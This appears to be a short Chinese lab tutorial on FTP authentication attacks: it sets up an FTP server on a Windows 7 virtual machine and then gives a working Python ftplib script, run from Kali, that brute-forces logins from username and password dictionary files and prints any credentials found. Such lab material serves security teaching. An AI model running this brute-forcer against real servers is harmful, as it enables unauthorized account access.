身份认证攻击

搭建 FTP 服务器， 操作系统为 win7 ， 使用简单 FTP 程序即可。 设置用户名密码。

在VMware中打开win7，在win7中下载一个简单的FTP程序，下载完成后打开进行搭建

打开另一台操作系统kali确保两台主机能够进行通信，此时可以去编写密码暴力破解的程序

import ftplib
import sys,time

#判断输入的参数个数是否正确
if len(sys.argv) != 4:
    print("参数错误：正确形式为：python FTP_03.py  ip地址  用户名字典路径   密码字典路径")
    sys.exit()

FTPServer = sys.argv[1]
userDic = sys.argv[2]
passwdDic = sys.argv[3]

# 定义一个登录FTP服务器的函数
def login(FTPServer,username,password):
    try:
        f = ftplib.FTP(FTPServer)
        f.connect(FTPServer,21,timeout=10)
        f.login(username,password)
        f.retrlines("LIST")
        f.quit()
        print(f"用户名是{username}，密码是{password}")
    except ftplib.all_errors:
        pass

# 读取用户字典和密码字典，遍历每个字典的用户名和密码，
# 调用FTP函数，将遍历的内容传递给FTP函数，实现登录FRP服务器
with open(userDic) as userFile:
    for user in userFile.readlines():
        with open(passwdDic) as passwdFile:
            for passwd in passwdFile.readlines():
                userN =user.strip('\n')
                pwd = passwd.strip('\n')
                time.sleep(1)
                login(FTPServer,userN,pwd)

把编写好的登录FTP服务器密码暴力破解的脚本复制到kali中进行执行，此时为了节省时间，自己就创建了用户名字典和密码字典